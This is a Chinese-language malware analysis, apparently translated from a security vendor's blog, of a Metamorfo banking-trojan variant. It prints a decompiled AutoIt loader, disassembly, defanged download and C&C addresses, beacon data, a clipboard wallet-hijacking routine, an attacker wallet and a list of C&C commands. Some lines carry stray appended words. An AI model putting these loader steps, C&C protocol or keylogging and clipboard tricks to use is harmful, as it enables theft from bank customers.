http://dy.163.com/v2/article/detail/F5D49HKL0511CJ6O.htmlphp
概述
html
Metamorfo是一個惡意軟件家族,該惡意軟件主要針對在線金融機構的客戶發動攻擊。近期,FortiGuard實驗室捕獲了兩種不一樣的Metamorfo變種。針對其中的第一個變種,咱們此前已經發布了分析文章,這個變種僅針對巴西金融機構的客戶發動攻擊。chrome
咱們發現的第二個Metamorfo變種則針對多個國家金融機構的客戶發動攻擊。在本篇文章中,咱們將詳細介紹新變種是如何感染受害者的計算機,以及它如何在受害者的計算機上執行操做,包括如何收集數據、如何與其命令和控制(C&C)服務器進行通訊,最後將介紹它所支持的C&C命令。瀏覽器
惡意樣本分析安全
與早些時候的變種同樣,咱們此次捕獲到的是一個名爲「view-(AVISO)2020.msi」的MSI文件,該文件經過ZIP壓縮包的形式進行傳播。在此前的分析中,咱們發現當用戶在Windows操做系統中雙擊該MSI文件時,MSI文件將由MsiExec.exe自動解析和執行。服務器
經過分析最新的MSI文件,咱們發如今其中也包含一個與早期版本名稱相同的流「!_StringData」,在其中包含一段JavaScript代碼,其中混入了大量垃圾字符串。在提取代碼並去掉混淆的內容以後,咱們能夠清楚看到這段代碼的做用。下圖是代碼的一個片斷,展示了惡意樣本所使用的JavaScript代碼的關鍵功能。app
從流「!_StringData」中提取的JavaScript代碼片斷:ide
在這段代碼中,從URL「hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts」下載文件,這其實是包含3個文件的ZIP壓縮包。在下載完成後,會將其解壓縮到「C:\」路徑下新建立的隨機字符串文件夾(在咱們的示例中,建立的文件夾名稱爲「RrRbiebL」)。除此以外,3個解壓縮後的文件均使用隨機字符串進行重命名,在咱們的示例中分別爲「cMejBlQe.exe」、「M6WnYxAh」和「YvSVUyps.dll」,下圖展現了文件夾的詳細信息。函數
隨機命名的文件夾中,包含3個解壓縮後的文件:工具
這三個文件將會在命令行中執行:
C:\RrRbiebL\cMejBlQe.exe
C:\RrRbiebL\M6WnYxAh
C:\RrRbiebL\YvSVUyps.dll
咱們在上面的截圖中可能已經注意到,這些文件會將其自身添加到系統註冊表的auto-run組中。下面是系統註冊表中auto-run條目的截圖,其中的值就是上面的命令行。
添加到系統註冊表中的auto-run組:
AutoIt腳本運行Metamorfo
其中,「C:\RrRbiebL\cMejBlQe.exe」命令帶有兩個參數,分別是「C:\RrRbiebL\M6WnYxAh」和「C:\RrRbiebL\YvSVUyps.dll」。通過分析,咱們發現文件「cMejBlQe.exe」是一個AutoIt腳本執行程序,其原始名稱爲「AutoIt3.exe」。文件「M6WnYxAh」是一個通過編譯的二進制AutoIt腳本文件(即「.A3X」文件),而文件「YvSVUyps.dll」中包含Metamorfo惡意軟件變種的主體。
此前,咱們已經觀察到AutoIt被許多惡意軟件家族濫用,以實現惡意目的。攻擊者之因此使用AutoIt,其緣由之一是爲了繞過反病毒檢測。
咱們對「M6WnYxAh」文件進行反編譯,獲得其源代碼以下:
SLEEP(2000)
_SLEEP(2000)
SLEEP(2000)
_SLEEP(2000)
GLOBAL $NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH=$CMDLINE[1]
GLOBAL $KPH98S477U6K32TXPN3F8UBVSHZ=DLLOPEN($NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH)
DLLCALL($KPH98S477U6K32TXPN3F8UBVSHZ,"Int","B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU")
FUNC _SLEEP($IDELAY)
DLLCALL("Kernel32.dll","none","Sleep","dword",$IDELAY)
ENDFUNC
首先,會暫停8秒。而後,從路徑$CMDLINE[1]中加載DLL文件,該路徑是命令行命令中的最後一個參數,即「C:\RrRbiebL\YvSVUyps.dll」。隨後,繼續調用名爲「B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU」的DLL文件的導出函數。隨後,由DLL代碼控制受感染的計算機。
Metamorfo惡意軟件主體分析
如今,咱們來深刻分析文件「YvSVUyps.dll」。從下圖中,咱們能夠看到DLL文件使用了加殼工具「VMProtect v3.00-3.3.1」。VMProtect是一個很是強大的加殼程序,在目標進程運行時支持動態代碼保護。這給安全分析人員帶來了巨大的挑戰,舉例來講,全部API地址都被隱藏,而且在調用以前動態計算。
使用分析工具分析YvSVUyps.dll:
在運行後,咱們能夠從內存中轉儲還原真實的代碼。經過分析其ASM代碼,咱們發現它是使用Borland Delphi進行編譯的,這一點和以前發現的其餘變種同樣。
接下來,咱們分析惡意軟件在受害者系統上執行的主要任務。
再通過VMProtect恢復代碼後,將調用FormCreate()函數,咱們能夠將其視爲是Main()函數。
[...]
022AE2BA lea edx, [ebp+var_30]
022AE2BD mov eax, offset a015f924af437_0
022AE2C2 call decrypt_fun
022AE2C7 mov edx, [ebp+var_30]
022AE2CA lea eax, [ebp+var_2C]
022AE2CD call str_copy_Ascii_Unicode
022AE2D2 mov edx, [ebp+var_2C] ; de=> "iexplore.exe"
022AE2D5 mov eax, [ebp+var_4]
022AE2D8 call _TerminateProcess
022AE2DD lea edx, [ebp+var_38]
022AE2E0 mov eax, offset a5af5093ad16e_0
022AE2E5 call decrypt_fun
022AE2EA mov edx, [ebp+var_38]
022AE2ED lea eax, [ebp+var_34]
022AE2F0 call str_copy_Ascii_Unicode ;
022AE2F5 mov edx, [ebp+var_34] ; de=> "firefox.exe"
022AE2F8 mov eax, [ebp+var_4]
022AE2FB call _TerminateProcess
022AE300 lea edx, [ebp+var_40]
022AE303 mov eax, offset aA233cd013efd_0
022AE308 call decrypt_fun
022AE30D mov edx, [ebp+var_40]
022AE310 lea eax, [ebp+var_3C]
022AE313 call str_copy_Ascii_Unicode ;
022AE318 mov edx, [ebp+var_3C] ; de=> "chrome.exe"
022AE31B mov eax, [ebp+var_4]
022AE31E call _TerminateProcess
022AE323 lea edx, [ebp+var_48]
022AE326 mov eax, offset aC9023de11adf_0
022AE32B call decrypt_fun
022AE330 mov edx, [ebp+var_48]
022AE333 lea eax, [ebp+var_44]
022AE336 call str_copy_Ascii_Unicode ;
022AE33B mov edx, [ebp+var_44] ; de=> "microsoftedge.exe"
022AE33E mov eax, [ebp+var_4]
022AE341 call _TerminateProcess
022AE346 lea edx, [ebp+var_50]
022AE349 mov eax, offset a84c66187b74f_0
022AE34E call decrypt_fun
022AE353 mov edx, [ebp+var_50]
022AE356 lea eax, [ebp+var_4C]
022AE359 call str_copy_Ascii_Unicode ;
022AE35E mov edx, [ebp+var_4C] ; de=> "opera.exe"
022AE361 mov eax, [ebp+var_4]
022AE364 call _TerminateProcess
[...]
上述ASM代碼中,調用了一個函數來解密進程名稱字符串,而後調用函數_TerminateProcess()在進程列表中終止全部匹配的進程。
而後,代碼會修改特定的幾個註冊表項值,以禁用IE瀏覽器的部分功能,例如:自動完成、自動建議等。具體而言,其禁用的項目包括「HKCU\Software\Microsoft\Internet Explorer\Main」下的「Use FormSuggest」、「FormSuggest Passwords」和「FormSuggest PW Ask」,以及「HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete」下的「AutoSuggest」。
爲何惡意軟件須要終止瀏覽器進程,並禁用其自動完成和自動建議功能呢?緣由在於,這樣的操做將強制受害者在沒有自動完成功能的狀況下手動輸入信息,包括完整的URL,以及瀏覽器中的登陸用戶名、密碼等信息。這樣一來,惡意軟件的鍵盤記錄器就能夠記錄受害者輸入的大量內容。
上述代碼還會從受害者的系統中收集諸如操做系統版本、計算機名稱、已安裝的殺毒軟件名稱等信息。
若是是第一次在受感染的計算機上執行(根據標誌文件是否存在來判斷),將會向命令和控制(C&C)服務器發送一個POST數據包,通知該計算機已經被感染。下圖展現了該數據包的詳細信息。
發送到C&C服務器的POST數據包截圖:
先前,已經對URL「hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php」進行解密,該數據包的正文中包含受害者的系統信息。其中的一些值通過Base64編碼。在進行解碼後,數據以下所示:
vv=OP57--06-01&vw=&mods=&uname=*********V-PC&cname=N-96&os=Windows 7 Ultimate6.17601-32&is=&iss=IE.AssocFile.HTM&iav= microsoft security essentials
「vv=OP57--06-01」 is the version information of Metamorfo.
「mods=」 records whether IBM Trusteer Rapport is running, which is used to protect users from malware.
「uname=*********V-PC」 is the victim’s computer name.
「cname=N-96」 is a value read out from the system registry.
「os=Windows 7 Ultimate6.17601-32」 contains the infected OS version and platform.
「iss=IE.AssocFile.HTM」 indicates the victim’s default browser, which in this case is IE.
「iav= microsoft security essentials」 is a list of AV software that the victim has installed.
Timer函數
與此前的變種同樣,這個變種仍然使用Timer執行其任務。在FormCreate()函數的末尾,將啓動兩個計時器。其中,第一個計時器用於監視系統剪貼板中的比特幣錢包地址,第二個計時器用於檢測被感染的系統是否正在訪問金融機構的網站。咱們將詳細分析這兩個函數。
(1)比特幣地址Timer函數
該函數將不斷從系統剪貼板中接收數據,並確認其中是否包含有效的比特幣錢包地址。若是存在,則使用攻擊者的錢包地址覆蓋系統剪貼板中的內容。
調用SetClipboardData() API覆蓋比特幣錢包地址:
上圖展現了對SetClipboardData()函數的調用,其中的第二個參數就是攻擊者的錢包地址(即:163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7),用於替換系統剪貼板中的原始地址。
一般狀況下,用戶在進行比特幣交易時都會複製粘貼錢包的地址。在這個惡意軟件變種中,Metamorfo會檢測並覆蓋剪貼板中的目標錢包地址。這樣一來,受害者在不知不覺中,就會將比特幣轉移到攻擊者的比特幣錢包地址(163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7)。
(2)金融機構Timer函數
隨後,將調用EnumWindows() API函數遍歷受害者操做系統中的全部窗口。其中,EnumFunc()回調函數會收集全部窗口標題,並添加14H長度的隨機字符串前綴。添加前綴後的窗口標題相似於「{14H長度的隨機字符串}+窗口標題」。在進行修改後的窗口標題,會添加到字符串列表框空間中。在這裏,還能夠收集受害者可能在瀏覽器中訪問的在線銀行網站頁面標題。
而後在Timer函數中,從字符串列表框控件中逐一讀取修改後的窗口標題,並與目標金融機構的關鍵字進行字符串匹配。其中,包含32個關鍵字,對應包括美國、加拿大、祕魯、智利、西班牙、巴西、厄瓜多爾、墨西哥等國家的二十多個金融機構。出於安全考慮,我在本文中將不會提到惡意軟件所針對的特定關鍵字或特定金融機構。
在肯定窗口標題與其中一個目標金融機構的關鍵字匹配以後,將鏈接到C&C服務器,該服務器與前文所提到的主機不一樣。
下面是解密C&C服務器主機字符串和端口號的代碼段,通過解密後,獲得網址「ssl[.]teamo[.]life」和端口「8350」。
[...]
022965F7 lea eax, [ebp+var_18]
022965FA mov edx, ds:dword_235CE2C ;encrypted host string
02296600 mov ecx, 0
02296605 call _WideCharToMultiByte
0229660A mov eax, [ebp+var_18]
0229660D lea edx, [ebp+var_14]
02296610 call decrypt_fun ; de=> "ssl.teamo.life"
02296615 mov edx, [ebp+var_14]
02296618 lea eax, [ebp+var_10]
0229661B call str_Ascii_Unicode
02296620 mov edx, [ebp+var_10]
02296623 lea ecx, [ebp+var_C]
02296626 mov eax, [ebp+var_4]
02296629 call sub_2296470 ; gethostbyname
0229662E mov edx, [ebp+var_C]
02296631 mov eax, [ebp+var_4]
02296634 mov eax, [eax+3DCh]
0229663A call sub_20BF29C
0229663F lea eax, [ebp+var_24]
02296642 mov edx, ds:dword_235CE30 ;encrypted port number
02296648 mov ecx, 0
0229664D call _WideCharToMultiByte
02296652 mov eax, [ebp+var_24]
02296655 lea edx, [ebp+var_20]
02296658 call decrypt_fun ;; de=> "8350"
0229665D mov edx, [ebp+var_20]
[...]
C&C服務器的命令和控制
在與C&C服務器創建鏈接後,客戶端將向服務器發送命令「 < | QFUNHSNXU | >」,並等待控制命令返回以在受害者的系統上執行更多功能。
下面是Metamorfo惡意軟件與其C&C服務器之間的通訊示例:
< | QFUNHSNXU | >< | PT | >< | tksN | > OP57--06-01-N-96 < | > 32-Windows 7 Ultimate6.17601 < | > ********-PC-微軟安全必備軟件-L4N4c10n < | > *** *****-PC < < | 2 // && ikILVm9ZtX!L4N4c10n
Metamorfo將「 < | QFUNHSNXU | >」發送到服務器,而後從服務器接收到控制命令「 < | PT | >」,並執行了該命令的代碼。如您所見,它隨後發送了響應包「 < | tksN | >」,其中包含Metamorfo版本,系統版本,平臺信息,受害者的計算機名稱,任何已安裝的AV軟件,匹配的金融機構名稱的標識符字符串。(「 L4N4c10n」),依此類推。
注意:在數據包中,符號「 < | >」是一種分隔符,而「 < < |」是結束符號。
與之前的變體同樣,此Metamorfo客戶端使用SocketRead()函數來接收和處理來自C&C服務器的此套接字的控制命令。
咱們所分析的Metamorfo變種共支持119個控制命令,包括:
「 < | YuiqkwSgot | >」,「 < | PT | >」,「 < | VOTM | >」,「 < | Gpsxi | >」,「 < | ZKXAKYWQKEHUGZJ | >」,「 < | lozyw | >」,「 < | SuaykRJ | >「,」 < | SuaykJI | >「,」 < | ztUjzwtR |>「,」 < | IXjzwtR | >「,」 < |文件夾| >「,」 < |文件| >「,」 < |下載文件| >「,」 < | UploadFile | >「,」 dkxqdpdv「,」 fuobhjh「,」 pyfsqtpofn「,」 camarinho「,」 beijada「,」 cidadao「,」 dlulztody「,」 janainaa「,」 nnnaewhwf23nvcxx「,」 vanuza 「,」 vanessa「,」 carmena「,」 petereca「,」 jpevtpjevtjte「,」 djqduidxorv「,」 dulhkqzprf「,」 vaidamole「,」 vadiadaum「,」lzyxyzoxzdy」,「 baraomagao」,「 IbqJxbxma」,「 Lmatqo」,「 puplY」,「 hajluvjlY」,「 wlylajhyhJ」,「 gsxuymrle」,「 sjemwbgonehjexhjjexhjxh」,「 phjdqdd」,「 phjdqdd」 ,「 JtxyXLWA」,「 urpdzchlrdi」,「 JXyhylipS」,「 ndsoiu43098s」,「 snis4duo3098」,「 ki74yfhsag」,「 KxvoJJ」,「 Bwilmakx」,「 semvergonha」,「 mh42jkrwibA3」,「 Bwiqbi」,「 kdaf4w84fds」,「 iru4837fbcz」,「 apqi398wjx」,「 Bwiaqk」,「 mfklsjfk3049jsfd」,「 Bwikmn」,「 vpupqbd」,「 ulrvAkhyI」,「 posseco」,「 jpwhslAz」ihAhaP」, 「dsefsdfds342342」, 「massonaria」, 「kldiu4324987dyyds」, 「iejdskdjkfl3426232hdshdhs」, 「maconha」, 「cnirhx87ds」, 「b9f8vnh3f7dhvsja4」, 「ihAwpMhauhW」, 「nhfjds98743hvfavb」, 「mfki73t1dav」, 「fodiufjdo834yfdgf」, 「f9ksa8iuvdo」 ,「 miwey82fqq」,「 oropeiru23」,「 kmcjds09498」,「 ewaewqrtrrmwoa」,「 m94ufasjczbal」,「 ulzcecrvAkhocpgyI」,「 hslfasreweyI」,「 perebao」,「 japones3fadhhh」,「 hk」,「 k」,「 bisurdor」,「 curvaduru」,「 vvjpwulw」,「 bosteiro」,「 lkfjasofu4343849」,「 fkvoiudas98」,「 coichzbz」,「b98djzc」,「 klfjs943jfs」,「 eaqeutmn5r」,「 cracreuz」,「 guilhermina」,「 ztchrhAhaP」,「 IIzvsI」,「 HAPzvsI」,「 juventude」,「 HAUHWzvsI」,「 KHYIzvsI」 ,「 hruxyoiu」,「 COZUMEL」,「 COZUMARIA」,「 LMAimwc」,「 baci83427daca」,「 daa243bi78acc」。
下面列出了主要Socket中包含的主要控制命令和功能說明。根據這些命令及對應的功能,咱們能夠掌握Metamorfo變種能夠在受害者計算機上執行的操做。
dkxqdpdv:向受害者展現包含特定信息的消息框。
vanuza:從新啓動一些Socket。
vanessa:向受害者展現虛假消息,要求輸入驗證碼。
carmena:該命令中包含多個子命令,能夠將命令數據包中指定的內容模擬受害者輸入,輸入到文本框中。
ev:從C&C服務器下載MSI文件並執行,該命令還能夠進行惡意軟件的自我更新。
djqduidxorv:重置標誌文件,刪除文件和相關文件夾。
baraomagao:最大化全部正在運行的瀏覽器(IE、Chrome和Firefox)窗口。
IbqJxbxma, hajluvjlY:設置系統任務欄可見。
Lmatqo:關閉受感染的操做系統。
puplY:從新啓動受感染的操做系統。
wlylajhyhJ:經過調用PlaySoundW() API來播放「SYSTEMSTART」(系統啓動)聲音。
LkingWajuGhkzwu:關閉Socket,並退出Metamorfo惡意軟件。
vkbAlcvtlY:運行.bat腳本以刪除特定文件。
JtxyXLWA:刪除.dll文件並關閉系統。
urpdzchlrdi、JXyhylipS、ndsoiu43098s、snis4duo309八、ki74yfhsag:這些命令是相關的,其功能是啓動線程,而後操縱這些線程控制受害者的輸入設備,包括鼠標和鍵盤。例如,能夠組織受害者在瀏覽器上的鼠標操做(單擊、雙擊、選擇文本、右鍵單擊等)。
KxvoJJ、Bwilmakx、semvergonha、mh42jkrxc三、BwiAivbi、vBiAiiwbwew、Bwiqbi:這裏有超過50個命令,但在此僅列出其中的7個。這些命令能夠隱藏系統任務欄和鼠標光標、顯示特定控件以展現受害者信息、要求受害者輸入密碼等內容。一些命令還會運行Timer,以終止「Windows任務管理器」。
vpupqbd:恢復上述命令更改的全部狀態。
IIzvsI:在用戶配置文件的文件夾下,建立一個文件。
COZUMEL:啓動線程,以在瀏覽器上運行按鍵記錄器。
COZUMARIA:中止按鍵記錄器,並將記錄的數據發送到C&C服務器。
LMAimwc:關閉正在運行的瀏覽器,向受害者顯示一條信息,隨後重啓受害者的系統。
以最後一個控制命令「LMAimwc」爲例,該命令會關閉正在運行的瀏覽器,包括「Microsoft Internet Explorer」、「Google Chrome」和「Mozilla Firefox」,顯示一條消息,而後從新啓動受害者的操做系統。下圖展現了顯示的消息內容(西班牙語),其內容是:咱們的頁面當前正在進行安全性調整,如今暫時沒法幫助你,請稍後再試。你的系統將在操做完成後從新啓動。
控制命令「LMAimwc」的消息:
解決方案
可使用安全防禦產品的Web過濾、反病毒、IPS功能防禦計算機免受Metamorfo變種的危害,具體以下:
使用Web過濾服務,阻斷對惡意URL的訪問。
使用反病毒產品,檢測並刪除惡意MSI文件(FortiGuard反病毒產品將其檢測爲「W32/Metamorfo」)。
使用入侵防禦系統(IPS),檢測Metamorfo惡意軟件與其C&C服務器之間的惡意通訊流量。
威脅指標
URL:
hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php
hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts
SHA-256樣本:
[view-(AVISO)2020.msi]
EB1E5EAEA4ECC04B920BBD955C16B17F3D5AC3C580EA266FF5B9D589B8B49E0C
本文參考自:https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions.html